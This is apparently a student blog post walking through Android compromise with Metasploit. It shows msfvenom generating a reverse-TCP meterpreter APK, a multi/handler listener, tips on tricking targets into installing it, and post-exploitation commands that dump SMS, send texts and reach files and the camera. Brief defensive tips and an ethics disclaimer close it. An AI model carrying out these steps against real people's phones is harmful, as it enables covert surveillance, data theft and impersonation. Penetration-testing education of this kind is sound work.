Exploring Android Hacking with Metasploit Framework

Akshay Waghmare
Nybles
Published in
8 min readApr 16, 2024

In today’s digital age, where smartphones have become an integral part of our lives, ensuring the security of mobile devices is paramount. Android, being the most widely used mobile operating system, is often targeted by hackers seeking to exploit vulnerabilities for malicious purposes. In this comprehensive guide, we delve into the world of Android hacking using the powerful Metasploit Framework, providing insights into the techniques, tools, and ethical considerations involved.

Introduction to Metasploit Framework

The Metasploit Framework, is a modular and Ruby-based penetration testing platform that enables security professionals to write, test, and execute exploit code. It is used to identify vulnerabilities, execute exploit code, and run payloads to compromise target systems. The framework is available on all major operating systems, including macOS, Windows, and various Linux distributions. It offers a wide range of tools for security testing, network enumeration, attack execution, and evasion of detection

Understanding Metasploit Framework

The Metasploit Framework, by H.D. Moore in 2003, began as a collection of basic scripts but has since transformed into a robust penetration testing tool widely utilized by cybersecurity experts and ethical hackers. Its evolution has seen it adopt a modular architecture, comprising a database, a user interface, and diverse auxiliary modules, enabling customization and expansion of its capabilities.

The framework’s key components include:

1. Exploits: Modules designed to exploit vulnerabilities within target systems, with Metasploit offering an extensive library of pre-built exploits for known weaknesses.

2. Payloads: These determine the actions to execute post-exploit, ranging from basic command shells to advanced functionalities like meterpreter sessions.

3. Auxiliary Modules: Versatile tools performing tasks such as information gathering, port scanning, and vulnerability assessment, enhancing the framework’s flexibility and utility.

4. Post-Exploitation Modules: Enabling actions on compromised systems subsequent to a successful exploit, these modules contribute to the framework’s comprehensive penetration testing capabilities.

Exploiting Android Vulnerabilities with Metasploit

While the vulnerabilities inherent in the Android ecosystem create opportunities for exploitation, tools like the Metasploit Framework amplify these risks by providing attackers with powerful capabilities to launch sophisticated attacks. Here’s how we can leverage Metasploit to exploit Android vulnerabilities:

Here’s an overview of why Android devices are vulnerable:

  • Fragmentation of the Ecosystem: The Android ecosystem is highly fragmented, with numerous device manufacturers and carriers. This fragmentation leads to inconsistencies in software updates and security patches, leaving many devices running outdated and vulnerable versions of the Android operating system.
  • Open Source Nature: While the open-source nature of Android fosters innovation and customization, it also makes it susceptible to security vulnerabilities. Malicious actors can study the Android source code to identify and exploit weaknesses in the operating system.
  • App Permissions: Android apps often request extensive permissions during installation, granting them access to sensitive device resources such as camera, microphone, contacts, and location data. Malicious apps can abuse these permissions to steal user data or perform unauthorized actions.
  • Side-loading of Apps: Unlike iOS, Android allows users to install apps from third-party sources, bypassing the official Google Play Store. This practice, known as side-loading, exposes users to a higher risk of downloading and installing malicious apps containing malware or exploits.

Installing and Executing Attacks with Metasploit Framework

Installation Steps

- Installing Metasploit Framework is relatively straightforward and can be accomplished using package managers or direct downloads.

-For Linux:

  • Use package manager: `sudo apt install metasploit-framework`
sudo apt install metasploit-framework

- Alternative methods involve using scripts like `curl` or manual installation from the official repository.

- For Windows:

  • Download the installer from the official website and follow the installation wizard.

- For macOS:

  • Install Homebrew if not already installed, then execute `brew install metasploit`.
brew install metasploit

To exploit Android devices using the Metasploit Framework, We will create a malicious payload using `msfvenom`, saving it as an APK file. They then set up a listener in the Metasploit Framework and employ social engineering tactics to persuade targets to download and install the malicious APK. Once installed, the attacker gains a meterpreter session, granting remote access to the compromised device and enabling further exploitation and data exfiltration.

Executing an Attack

-Step 1: Generating a Payload with msfvenom

  • First, will fire up Linux/Unix to generate an APK file as a malicious payload. Ensure to check the local IP, which in this case is ‘192.168.153.60’. For remote exploitation over the internet, you can utilize your Public/External IP address in the LHOST field, alongside port forwarding for effective penetration.
  • After getting your Local host IP use msfvenom tool that will generate a payload to penetrate the Android device. Type command:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.153.60 
LPORT=4444 -o ~/Desktop/geekhaven.apk

Here, ‘-p’ indicates the payload type, where ‘android/meterpreter/reverse_tcp’ specifies a reverse meterpreter shell that would be initiated from a targeted Android device. ‘LHOST’ represents your local IP address, and ‘LPORT’ is set as the listening port for the connection. The output of the command will be directly saved to the path:Desktop (In above case) with the name ‘geekhaven.apk’.

  • This would take some time to generate an apk file of almost ten thousand bytes.

Launching an Attack

  • Step 1: Launch Metasploit by typing `msfconsole` in the terminal/command prompt.
  • Step 2: Choose an exploit module suitable for your target system using the `use` command followed by the module name.
use multi/handler
  • Step 3: Configure the exploit module by setting options such as target IP address, port, etc., using the `set` command.

In real-life scenarios, social engineering techniques are often employed to convince targets to download and install malicious APK files. However, for demonstration purposes, we will simulate accessing the attacker machine to download the file onto the Android device.

  • Step 4: Execute the exploit using the `exploit` command.

- Step 5: Execute the payload using the `exploit` command .

Once the user installs the application and runs it, the meterepreter session would be opened immediatly at the attacking side.

  • Step 6: Upon successful execution, the attacker gains control over the target system, allowing for further post-exploitation activities.

Post Exploitation

  • Type “background” and then “sessions” to list down all the sessions from where you can see all the IPs connected to the machine.

You can interact with any session by typing sessions -i [session ID]

  • After entering the session, type “help” to list down all the commands we can put forward in this session.

You can see some file system commands that are helpful when you’re trying to go after some sensitive information or data. By using these, You can easily download or upload any file or information.

  • Type “app_list” and it will show you all the installed apps on the device
  • We also have the power to run,install,uninstall any app from the Android device

Extracting SMS from an Target’s ndroid Device

  • Type “dump_sms” and enter
  • These is list on sms till date, you have dump from your target device

Similarly , You can use these commands :

Send sms through the target device

  • We’ll use Meterpreter’s sms_send command to send a text message from the compromised device.
meterpreter > sms_send -d <recipient_phone_number> -t <message_text>

Replace <recipient_phone_number> with the phone number of the recipient and <message_text> with the content of the message. This command will send an SMS message from the compromised device to the specified recipient.

There are lots of more commands available in meterpreter like, dump_contacts,calllogs,remotely snapping target camera. Further try to explore and learn what we can perform with an Android device. This concludes that we have successfully penetrated the Android device using Kali Linux and Metasploit-Framework.

Protecting Your Android Device: Essential Security Measures

  1. Keep Your Device Updated: Regularly update your device’s operating system and apps to patch vulnerabilities.
  2. Install Apps from Trusted Sources: Download apps only from reputable sources like the Google Play Store to avoid malware.
  3. Enable Google Play Protect: Activate Google Play Protect to scan apps for security threats in real-time.
  4. Use Strong Passwords and Biometrics: Secure your device with a strong password, PIN, or biometric authentication like fingerprint or facial recognition.
  5. Be Cautious of Unknown Links and Downloads: Avoid clicking on suspicious links and downloading files from unknown sources to prevent malware infections.

Conclusion

In conclusion, safeguarding your Android device against potential threats is paramount in today’s interconnected world. By following the security measures outlined in this guide, you can significantly reduce the risk of exploitation and protect your personal data and privacy.

Recap of Key Points:

  • Regularly update your device’s operating system and apps to patch vulnerabilities.
  • Download apps only from trusted sources like the Google Play Store to avoid malware.
  • Activate Google Play Protect to scan apps for security threats in real-time.
  • Secure your device with a strong password, PIN, or biometric authentication.
  • Exercise caution when clicking on links and downloading files from unknown sources to prevent malware infections.

Understanding the intricacies of Android hacking and leveraging tools like the Metasploit Framework can provide valuable insights into potential vulnerabilities and security loopholes. However, it’s crucial to use such tools responsibly and ethically, ensuring that they are employed for legitimate purposes such as penetration testing and security assessments.

By adopting a proactive approach to device security and staying informed about emerging threats, you can mitigate risks and safeguard your Android device against exploitation. Remember, with great power comes great responsibility — let’s use technology to empower and protect ourselves while respecting the privacy and security of others.

01001110 01101111 01110111 00100000 01110100 01101000 01100001 01110100 00100000 01111001 01101111 01110101 00100000 01101000 01100001 01110110 01100101 00100000 01101101 01100001 01110011 01110100 01100101 01110010 01100101 01100100 00101110

Thanks for Reading
This is my first blog, do give your views in the comment below.

About me

I am Akshay Waghmare, 2nd-year B.Tech IT student at IIIT Allahabad, Member at Web Development Wing, Geekhaven, IIIT Allahabad. Connect on Linkedin.

--

--